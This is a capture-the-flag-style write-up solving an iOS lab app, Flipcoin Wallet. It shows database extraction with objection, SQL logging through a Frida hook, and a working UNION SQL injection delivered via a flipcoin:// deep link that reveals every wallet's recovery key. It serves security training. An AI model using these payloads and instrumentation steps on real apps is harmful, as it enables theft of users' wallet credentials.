Introduction
In this post I will demonstrate how to solve the Flipcoin Wallet iOS SQL injection lab from MobileHackingLab.
Flipcoin Wallet is a iOS lab from MobileHackingLab where you exploit a SQL injection vulnerability in the application to gain access to the recovery keys for multiple wallets.
Throughout this post you might see me use the identifier nel.willie.HelloWorld
- The reason for this is that I changed the configuration profile of the original IPA file and resigned it. Depending on your setup your bundle identifier will be something different.
Methodology
Some areas of interest:
- Manual testing
- Database extraction
- Application -> Database interaction
- Application deep links testing
- Application -> Deep link -> Database interaction
- Payload creation
Manual testing
Out of the 6 screens available in the application only two of them provided useful information.
Receive screen
The Receive screen contains a QR code. When scanning this QR code you will find the following information embedded in the code:
http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
This looks like a deep link and contains an amount and wallet address. Save this information, you will need it later.
Send screen
The send screen contains some input fields and then displays a balance and wallet address.
Current Balance: 0.3654 in 0x252B2Fff0d264d946n1004E581bb0a46175DC009
Database extraction
For this section, you will use objection to navigate the device filesystem, locate the SQLite database, and download it.
Run objection in explore mode:
objection -g "nel.willie.HelloWorld" explore
# Checking for a newer version of objection...
# Using USB device `iPhone`
# Agent injected and responds ok!
# _ _ _ _
# ___| |_|_|___ ___| |_|_|___ ___
# | . | . | | -_| _| _| | . | |
# |___|___| |___|___|_| |_|___|_|_|
# |___|(object)inject(ion) v1.11.0
# Runtime Mobile Exploration
# by: @leonjza from @sensepost
# [tab] for command suggestions
# nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] #
Check the environment to find potential areas where the database might be stored:
nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] # env
# Name Path
# ----------------- ---------------------------------------------------------------------------------------------------
# BundlePath /private/var/containers/Bundle/Application/70ED97A9-0DA2-495D-AF88-CA8CC7987CDA/Flipcoin Wallet.app
# CachesDirectory /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Library/Caches
# DocumentDirectory /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents
# LibraryDirectory /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Library
After enumerating the above locations the database is found in the DocumentDirectory
:
nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] # ls /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents
# NSFileType Perms NSFileProtection Read Write Owner Group Size Creation Name
# ---------- ----- ------------------------------------ ---- ----- ------------ ------------ -------- ------------------------- -------------------------
# Regular 420 CompleteUntilFirstUserAuthentication True True mobile (501) mobile (501) 12.0 KiB 2024-07-19 14:50:56 +0000 your_database_name.sqlite
Download the file to your local machine so that you can interact with it and see what type of data it contains:
nel.willie.HelloWorld on (iPhone: 17.5.1) [usb] # file download /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents/your_database_name.sqlite
# Downloading /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents/your_database_name.sqlite to your_database_name.sqlite
# Streaming file from device...
# Writing bytes to destination...
# Successfully downloaded /var/mobile/Containers/Data/Application/D6739C0C-657B-4EDD-BA38-889B402A7E88/Documents/your_database_name.sqlite to your_database_name.sqlite
Now that you have the database you can open it with the sqlite3 command:
sqlite3 your_database_name.sqlite
# SQLite version 3.43.2 2023-10-10 13:08:14
# Enter ".help" for usage hints.
# sqlite>
To see which tables are available you can use the .tables
command:
sqlite> .tables
# wallet
Check the wallet
table schema to see what fields it contains:
sqlite> pragma table_info('wallet');
# 0|id|INTEGER|0||1
# 1|address|TEXT|0||0
# 2|currency|FLOAT|0||0
# 3|amount|FLOAT|0||0
# 4|recovery_key|TEXT|0||0
Browse the data:
sqlite> SELECT * FROM wallet;
# 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
# 2|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|bitcoin|15.26|BATTLE TOADS WRITING POEMS
Application -> Database interaction
The next step is to see how the application interacts with the database.
To achieve this you can use Frida with a hooking script that will intercept any calls to the sqlite3_prepare*
functions of the sqlite3 module.
When the application runs a SQL query the hooked functions will print out the SQL statement that the application sent it.
The following script can be used to hook the functions for the sqlite3 module:
// log-sqlite.js
const FUNCTIONS_TO_INTERCEPT = [
"sqlite3_prepare",
"sqlite3_prepare_v2",
"sqlite3_prepare_v3",
"sqlite3_prepare16",
"sqlite3_prepare16_v2",
"sqlite3_prepare16_v3",
];
FUNCTIONS_TO_INTERCEPT.forEach(function (name) {
var function_to_intercept = Module.findExportByName("libsqlite3.dylib", name);
attachInterceptor(function_to_intercept);
});
function attachInterceptor(functionToAttach) {
Interceptor.attach(functionToAttach, {
onEnter: function (args) {
var sqlite3_stmt = args[1];
console.log("SQL: " + sqlite3_stmt.readCString());
},
onLeave: function (retval) {},
});
}
Run Frida and specify the application identifier and hooking script location:
frida -U -f "nel.willie.HelloWorld" -l log-sqlite.js
# ____
# / _ | Frida 16.3.3 - A world-class dynamic instrumentation toolkit
# | (_| |
# > _ | Commands:
# /_/ |_| help -> Displays the help system
# . . . . object? -> Display information about 'object'
# . . . . exit/quit -> Exit
# . . . .
# . . . . More info at https://frida.re/docs/home/
# . . . .
# . . . . Connected to iPhone (id=00008110-001819DC2160401E)
# Spawned `nel.willie.HelloWorld`. Resuming main thread!
# [iPhone::nel.willie.HelloWorld ]->
When opening the Send Screen
on the device you should see the following output in Frida:
# [iPhone::nel.willie.HelloWorld ]-> SQL: INSERT OR IGNORE INTO wallet
# (
# id,
# address,
# currency,
# amount,
# recovery_key
# ) VALUES
# (1, "0x252B2Fff0d264d946n1004E581bb0a46175DC009", "flipcoin", 0.3654, "FLAG{fl1p_d4_c01nz}}"),
# (2, "1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND", "bitcoin", 15.26, "BATTLE TOADS WRITING POEMS");
# SQL: SELECT * FROM wallet LIMIT 1;
The last statement is particularly interesting: SQL: SELECT * FROM wallet LIMIT 1;
This statement is the one that fetches the data to display on the Send Screen
:
Application deep links testing
Deep links are links with a certain schema that is associated with your application.
They work similarly to hyperlinks on the web but instead of opening a webpage, they will open up a specific application/screen.
While performing manual testing you already discovered a deep link in the QR code on the Receive Screen
.
http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
To interact with deep links you can either manually paste it into the system browser or you can interact with it using a tool like Frida.
Since you are going to be testing various payloads it will be a lot easier to work from the CLI.
There is an excellent script already available on Frida CodeShare that you can use.
This script will allow you to perform various actions but the most relevant ones for this section will be getSchemes()
and openURL()
.
After saving the file locally you can run Frida and specify the application identifier and hooking script location:
frida -U -f "nel.willie.HelloWorld" -l ios-deeplink.js
# ____
# / _ | Frida 16.3.3 - A world-class dynamic instrumentation toolkit
# | (_| |
# > _ | Commands:
# /_/ |_| help -> Displays the help system
# . . . . object? -> Display information about 'object'
# . . . . exit/quit -> Exit
# . . . .
# . . . . More info at https://frida.re/docs/home/
# . . . .
# . . . . Connected to iPhone (id=00008110-001819DC2160401E)
# Spawned `nel.willie.HelloWorld`. Resuming main thread!
# [iPhone::nel.willie.HelloWorld ]->
# URL Scheme Name: nel.willie.HelloWorld
# URL Schemes: [flipcoin]
From the above output, you can see that the script detected the flipcoin
schema for the application.
Now try opening up the deep link from the CLI:
[iPhone::nel.willie.HelloWorld ]-> openURL("http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")
# true
On the device, you can see something happened but it seems to have encountered a problem.
Since the application is expecting flipcoin://
and not http://flipcoin://
it did not associate with the link and the system browser was opened instead.
To fix this you can open the deep link with the correct schema:
[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1")
This fixed the issue but there is a new error message on the device.
Try changing the amount field in the deep link to something less than 1 to see if it changes anything:
[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1")
It worked. The deep link opens the Send Screen
with the information from the link pre-populated (wallet address and amount).
It also displays some information about the wallet at the bottom - the address and the balance.
Application -> Deep link -> Database interaction
To verify how the deep link, send screen, and database interact with one another you can start Frida with both hooking scripts:
frida -U -f "nel.willie.HelloWorld" -l log-sqlite.js -l ios-deeplink.js
# ____
# / _ | Frida 16.3.3 - A world-class dynamic instrumentation toolkit
# | (_| |
# > _ | Commands:
# /_/ |_| help -> Displays the help system
# . . . . object? -> Display information about 'object'
# . . . . exit/quit -> Exit
# . . . .
# . . . . More info at https://frida.re/docs/home/
# . . . .
# . . . . Connected to iPhone (id=00008110-001819DC2160401E)
# Spawned `nel.willie.HelloWorld`. Resuming main thread!
# [iPhone::nel.willie.HelloWorld ]->
# URL Scheme Name: nel.willie.HelloWorld
# URL Schemes: [flipcoin]
# [iPhone::nel.willie.HelloWorld ]->
# [iPhone::nel.willie.HelloWorld ]->
Now when a deep link is opened it will print out the SQL that the application executes on the Send Screen
.
[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1")
# true
# [iPhone::nel.willie.HelloWorld ]-> SQL: INSERT OR IGNORE INTO wallet
# (
# id,
# address,
# currency,
# amount,
# recovery_key
# ) VALUES
# (1, "0x252B2Fff0d264d946n1004E581bb0a46175DC009", "flipcoin", 0.3654, "FLAG{fl1p_d4_c01nz}}"),
# (2, "1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND", "bitcoin", 15.26, "BATTLE TOADS WRITING POEMS");
# SQL: SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;
# SQL: PRAGMA user_version
# SQL: SELECT r.version, r.storage_policy, b.response_object, b.proto_props, d.isDataOnFS, d.receiver_data, b.request_object, b.user_info, r.time_stamp FROM cfurl_cache_response r, cfurl_cache_blob_data b, cfurl_cache_receiver_data d WHERE r.request_key=? AND b.entry_ID=r.entry_ID AND b.entry_ID=d.entry_ID;
# SQL: SELECT * from alt_services WHERE host = ? AND partition = ? AND port = ? AND expires_time > strftime('%s','now')
# SQL: DELETE FROM alt_services WHERE expires_time < strftime('%s','now')
# SQL: DELETE FROM alt_services WHERE ROWID in (SELECT ROWID FROM alt_services ORDER BY ROWID DESC LIMIT -1 OFFSET 1500)
# SQL: INSERT OR IGNORE INTO wallet
# (
# id,
# address,
# currency,
# amount,
# recovery_key
# ) VALUES
# (1, "0x252B2Fff0d264d946n1004E581bb0a46175DC009", "flipcoin", 0.3654, "FLAG{fl1p_d4_c01nz}}"),
# (2, "1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND", "bitcoin", 15.26, "BATTLE TOADS WRITING POEMS");
A lot is happening here but the part you are most interested in is the query that populates the information on the Send Screen
.
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;
The easiest way to test that your injection works is to add the known address to the deep link and to see if it reflects in the query:
[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1 AND address='0x252B2Fff0d264d946n1004E581bb0a46175DC009'");
# ...
SQL: SELECT * FROM wallet WHERE amount >-1 AND address='0x252B2Fff0d264d946n1004E581bb0a46175DC009' AND currency='flipcoin' LIMIT 1;
# ...
As you can see the address field is successfully injected into the query.
This query is vulnerable to a SQL Injection attack on the amount
field and since you have control over that through the deep link you should be able to exploit it.
Payload creation
The purpose of the payload is to modify the existing SQL query in such a way that the application still works and also displays the exfiltrated information on the device.
Let’s figure out what structure the query will need for it to be successful.
The Send Screen
uses the following query:
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;
--1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
Which results in the following being displayed on the device:
Current Balance: 0.3654 in 0x252B2Fff0d264d946n1004E581bb0a46175DC009
From this you can infer that:
- The
balance
is retrieved from the 4’th column in the query results - The
address
is retrieved from the 2’nd column in the query results
If you wanted something else to be displayed on this screen you would have to change the original select statement which is not possible.
Since you don’t have control over the original query selection you can try to specify a new query.
This can be achieved by using a UNION
operator.
The UNION
operator allows you to combine result sets of two queries into a single result set.
So the idea is that you use the original query, specify a new query as well and then combine the two but display your result FIRST.
Let’s experiment with this:
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
...> UNION
...> SELECT * FROM wallet WHERE amount >-1 AND currency!='flipcoin';
-- 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
-- 2|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|bitcoin|15.26|BATTLE TOADS WRITING POEMS
The first select statement will select all columns where the amount is greater than -1 and the currency is flipcoin.
The second select statement will select all columns where the amount is greater than -1 and the currency is NOT flipcoin.
Since you have full control over the second query you can also tell it which columns to select:
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
...> UNION
...> SELECT recovery_key, currency, amount, "address", id FROM wallet WHERE amount >-1 AND currency!='flipcoin';
-- 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
-- BATTLE TOADS WRITING POEMS|bitcoin|15.26|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|2
Doing this demonstrated that it is possible to change the column order of the second query you have control over.
Let’s go back to the original query:
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' LIMIT 1;
The problem with this query is that once you inject the payload after the amount field the rest of the query will still be executed and that will include the LIMIT 1
.
This will prevent you from gaining access to the information in your new query since it will always select the first item in the combined results which is the original query.
To get around this issue you can use the ORDER BY
clause in SQL which allows you to specify in which order you want to results to be displayed.
Before:
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
...> UNION
...> SELECT * FROM wallet WHERE amount >-1 AND currency!='flipcoin'
...> LIMIT 1;
-- 1|0x252B2Fff0d264d946n1004E581bb0a46175DC009|flipcoin|0.3654|FLAG{fl1p_d4_c01nz}}
After:
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
...> UNION
...> SELECT * FROM wallet WHERE amount >-1 AND currency!='flipcoin'
...> ORDER BY 1 DESC
...> LIMIT 1;
-- 2|1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND|bitcoin|15.26|BATTLE TOADS WRITING POEMS
As observed you can now control the order of the results which allows you to prioritize it over the original query results.
It’s time to create the final query, which will consist of:
- The original query
- A UNION clause
- A new selection query where it will concatenate all the address / recovery_key combinations into one string
- An ORDER BY clause that will control the order of the results and display the second query results first
- A LIMIT 1 clause to only limit allow one result to be returned
Let’s try it out:
SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin'
...> UNION
...> SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet
...> ORDER BY 1 DESC
...> LIMIT 1;
-- |Address: 0x252B2Fff0d264d946n1004E581bb0a46175DC009, Recovery: FLAG{fl1p_d4_c01nz}},Address: 1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND, Recovery: BATTLE TOADS WRITING POEMS|||
Now to modify the deep link to inject the payload to generate the desired SQL statement that is needed:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1 AND currency='flipcoin' UNION SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet ORDER BY 1 DESC LIMIT 1;--
[iPhone::nel.willie.HelloWorld ]-> openURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=-1 AND currency='flipcoin' UNION SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet ORDER BY 1 DESC LIMIT 1;--");
# ...
SQL: SELECT * FROM wallet WHERE amount >-1 AND currency='flipcoin' UNION SELECT '', group_concat('Address: ' || address || ', Recovery: '|| recovery_key) , '', '', '' FROM wallet ORDER BY 1 DESC LIMIT 1;-- AND currency='flipcoin' LIMIT 1;
# ...
The final output on the Send Screen
is:
Current Balance: 0.0 in Address: 0x252B2Fff0d264d946n1004E581bb0a46175DC009, Recovery: FLAG{fl1p_d4_c01nz}},Address: 1W5vKAAKmBAjjtpCkGZREjgEGjrbwERND, Recovery: BATTLE TOADS WRITING POEMS
Since the label is very small you might have to scroll to see the entire result.
Final thoughts
Even though SQL Injection
is a very common type of attack there are various ways of preventing it these days.
Most languages and frameworks provide built-in functions to protect against SQL injection in the form of input sanitation or prepared statements.
As an extra precaution, you can also run a SAST tool on your source code to see if it finds code that might be vulnerable to SQL injection attacks.